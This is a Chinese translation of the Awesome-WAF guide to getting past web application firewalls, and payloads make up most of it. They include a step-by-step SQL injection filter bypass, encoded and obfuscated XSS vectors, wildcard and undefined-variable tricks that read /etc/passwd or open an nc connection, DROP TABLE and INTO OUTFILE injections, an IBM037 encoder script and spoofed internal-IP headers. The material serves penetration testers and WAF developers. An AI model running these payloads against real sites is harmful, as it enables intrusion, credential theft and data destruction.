翻译文

https://github.com/0xInfection/Awesome-WAF

fuzz/爆破

• 字典
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads
    可能会被ban ip，小心为妙。

正则绕过

多少waf 使用正则匹配。

黑名单检测/bypass

Case: SQL 注入

• Step 1:

过滤关键词: and, or, union
可能正则: preg_match('/(and|or|union)/i', $id)

• 被拦截的语句: union select user, password from users
• bypass语句: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

过滤关键词: and, or, union, where

• 被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'
• bypass语句: 1 || (select user from users limit 1) = 'admin'

• Step 3:

过滤关键词: and, or, union, where, limit

• 被拦截的语句: 1 || (select user from users limit 1) = 'admin'
• bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

过滤关键词: and, or, union, where, limit, group by

• 被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

过滤关键词: and, or, union, where, limit, group by, select

• 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• bypass语句: 1 || 1 = 1 into outfile 'result.txt'
• bypass语句: 1 || substr(user,1,1) = 'a'

• Step 6:

过滤关键词: and, or, union, where, limit, group by, select, '

• 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• bypass语句: 1 || user_id is not null
• bypass语句: 1 || substr(user,1,1) = 0x61
• bypass语句: 1 || substr(user,1,1) = unhex(61)

• Step 7:

过滤关键词: and, or, union, where, limit, group by, select, ', hex

• 被拦截的语句: 1 || substr(user,1,1) = unhex(61)
• bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr

• 被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))
• bypass语句: 1 || lpad(user,7,1)

• Step 9:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space

• 被拦截的语句: 1 || lpad(user,7,1)
• bypass语句: 1%0b||%0blpad(user,7,1)

混淆 编码

1. 大小写

标准: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 编码

被阻断语句: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode 编码

标准: <marquee onstart=prompt()>
混淆: <marquee onstart=\u0070r\u06f\u006dpt()>

被阻断语句: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode 替代)

被阻断语句: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode 替代)

TIP: 查看这些说明 this and this reports on HackerOne. :)

4. HTML 实体编码

标准: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. 混合编码

• Sometimes, WAF rules often tend to filter out a specific type of encoding.
• This type of filters can be bypassed by mixed encoding payloads.
• Tabs and newlines further add to obfuscation.

混淆:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

7. 双重URL编码

• 这个需要服务端多次解析了url编码

标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

标准: <script>alert()</script>
混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

8. 通配符使用

• 用于linux命令语句注入，通过shell通配符绕过

标准: /bin/cat /etc/passwd
混淆: /???/??t /???/??ss??
Used chars: / ? t s

标准: /bin/nc 127.0.0.1 1337
混淆: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. 动态payload 生成

标准: <script>alert()</script>
混淆: <script>eval('al'+'er'+'t()')</script>

标准: /bin/cat /etc/passwd
混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

标准: <iframe/onload='this["src"]="javascript:alert()"';>
混淆: <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';>

9. 垃圾字符

• Normal payloads get filtered out easily.
• Adding some junk chars helps avoid detection (specific cases only).
• They often help in confusing regex based firewalls.

标准: <script>alert()</script>
混淆: <script>+-+-1-+-+alert(1)</script>

标准: <BODY onload=alert()>
混淆: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

NOTE: 上述语句可能会破坏正则的匹配，达到绕过。

标准: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10. 插入换行符

• 部分waf可能会对换行符没有匹配

标准: <iframe src=javascript:confirm(0)">
混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

11. 未定义变量

• bash 和 perl 执行脚本中加入未定义变量，干扰正则。

TIP: 随便写个不存在的变量就好。$aaaa,$sdayuhjbsad,$dad2ed都可以。

• Level 1 Obfuscation: Normal
  标准: /bin/cat /etc/passwd
  混淆: /bin/cat$u /etc/passwd$u

• Level 2 Obfuscation: Postion Based
  标准: /bin/cat /etc/passwd
  混淆: $u/bin$u/cat$u $u/etc$u/passwd$u

• Level 3 Obfuscation: Random characters
  标准: /bin/cat /etc/passwd
  混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

一个精心制作的payload

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tab 键和换行符

• 大多数waf匹配的是空格不是Tab

标准: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
变形: <IMG SRC=" jav ascri pt:alert ();">

标准: http://test.com/test?id=1 union select 1,2,3
标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

标准: <iframe src=javascript:alert(1)></iframe>
混淆:

<iframe    src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>

13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

• Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
• Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

• However, the request must still remain valid while using token-breakers.

• Case: Unknown Token for the Tokenizer

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Case: Unknown Context for the Parser (Notice the uncontexted bracket)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: 更多payload可以看这里 cheat sheet.

14. 其他格式混淆

• 许多web应用程序支持不同的编码类型(如下表)
• 混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

• IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符
• 可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--

混淆请求 + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

The following table shows the support of different character encodings on the tested systems (when messages could be 混淆 using them):

TIP: 可以使用 这个小脚本 来转化编码

import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
        OBFUSCATOR
'''

def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if '=' and '&' in params:
        if encodeEqualSign:
            equalSign = equalSign.encode(charset)
        if encodeAmpersand:
            ampersand = ampersand.encode(charset)
        params_list = params.split("&")
        for param_pair in params_list:
            param, value = param_pair.split("=")
            if urlDecodeInput:
                param = urllib.parse.unquote(param)
                value = urllib.parse.unquote(value)
            param = param.encode(charset)
            value = value.encode(charset)
            if urlEncodeOutput:
                param = urllib.parse.quote_plus(param)
                value = urllib.parse.quote_plus(value)
            if result:
                result += ampersand
            result += param + equalSign + value
    else:
        if urlDecodeInput:
            params = urllib.parse.unquote(params)
        result = params.encode(charset)
        if urlEncodeOutput:
            result = urllib.parse.quote_plus(result)
    return result

def main():
    print(lackofart)
    parser = ArgumentParser('python3 obfu.py')
    parser._action_groups.pop()

    # A simple hack to have required arguments and optional arguments separately
    required = parser.add_argument_group('Required Arguments')
    optional = parser.add_argument_group('Optional Arguments')

    # Required Options
    required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
    required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')

    # Optional Arguments (main stuff and necessary)
    optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
    optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
    args = parser.parse_args()
    if not len(sys.argv) > 1:
        parser.print_help()
        quit()
    print('Input: %s' % (args.str))
    print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == '__main__':
    main()

HTTP 参数污染

手法

• 这种攻击方法基于服务器如何解释具有相同名称的参数
• 可能造成bypass的情况:
  • 服务器使用最后接收到的参数，WAF只检查第一个参数
  • 服务器将来自类似参数的值联合起来，WAF单独检查它们

下面是相关服务器对参数解释的比较

浏览器 Bugs:

Charset Bugs:

• 可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)
• 当网站解码的时候，触发payload

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

当站点加载时，将其编码为我们设置的UTF-32编码，然后由于页面的输出编码为UTF-8，将其呈现为:"<script>alert (1) </ script> 从而触发xss

完整url编码后的 payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Null 空字节

• 空字节通常用作字符串终止符

Payload 示例:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

标准: <a href="javascript:alert()">
混淆: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
变形: <a 0x00 href="javascript:alert(1)">clickme</a>

解析错误

• RFC 声明节点名不可以由空白起始
• 但是我们可以使用特殊字符 %, //, !, ?, etc.

例子:

• <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
• <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
• <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode 分隔符

• 每个浏览器有不同的分隔分隔符

@Masato Kinugawafuzz 后发现如下

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

示例

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

使用其他非典型等效语法结构替换

• 找的waf开发人员没有注意到的语句进行攻击

一些WAF开发人员忽略的常见关键字:

• JavaScript functions:
  • window
  • parent
  • this
  • self
• Tag attributes:
  • onwheel
  • ontoggle
  • onfilterchange
  • onbeforescriptexecute
  • ondragstart
  • onauxclick
  • onpointerover
  • srcdoc
• SQL Operators
  • lpad

    lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
    lpad('tech', 7); 将返回' tech'
    lpad('tech', 2); 将返回'te'
    lpad('tech', 8, '0'); 将返回'0000tech'
    lpad('tech on the net', 15, 'z'); 将返回'tech on the net'
    lpad('tech on the net', 16, 'z'); 将返回'ztech on the net

  • field

    FIELD(str,str1,str2,str3,...)
    返回的索引（从1开始的位置）的str在str1，str2，STR3，...列表中。如果str没有找到，则返回0。
    +---------------------------------------------------------+
    | FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo')          |
    +---------------------------------------------------------+
    | 2                                                       |
    +---------------------------------------------------------+

  • bit_count 二进制数中包含1的个数。 BIT_COUNT(10);因为10转成二进制是1010，所以该结果就是2

示例payloads:

• Case: XSS

  <script>window['alert'](0)</script>
  <script>parent['alert'](1)</script>
  <script>self['alert'](2)</script>

• Case: SQLi

  SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
  1%0b||%0bLPAD(USER,7,1)

  可以使用许多替代原生JavaScript的方法:
• JSFuck
• JJEncode
• XChars.JS

滥用SSL/TLS密码:

• 很多时候，服务器可以接收各种SSL/TLS密码和版本的连接。

• 初始化到waf不支持的版本

• 找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。

• 找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
• 找出服务器支持但waf不支持的

Tool: abuse-ssl-bypass-waf

滥用 DNS 记录:

• 找到云waf后的源站

TIP: 一些在线资源 IP History 和 DNS Trails

Tool: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

请求头欺骗

• 让waf以为请求来自于内部网络，进而不对其进行过滤。

添加如下请求头

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

• 应对已知waf的绕过

搜索语法

• Normal search:
  +<wafname> waf bypass

• Searching for specific version exploits:
  "<wafname> <version>" (bypass|exploit)

• For specific type bypass exploits:
  "<wafname>" +<bypass type> (bypass|exploit)

• On Exploit DB:
  site:exploit-db.com +<wafname> bypass

• On 0Day Inject0r DB:
  site:0day.today +<wafname> <type> (bypass|exploit)

• On Twitter:
  site:twitter.com +<wafname> bypass

• On Pastebin
  site:pastebin.com +<wafname> bypass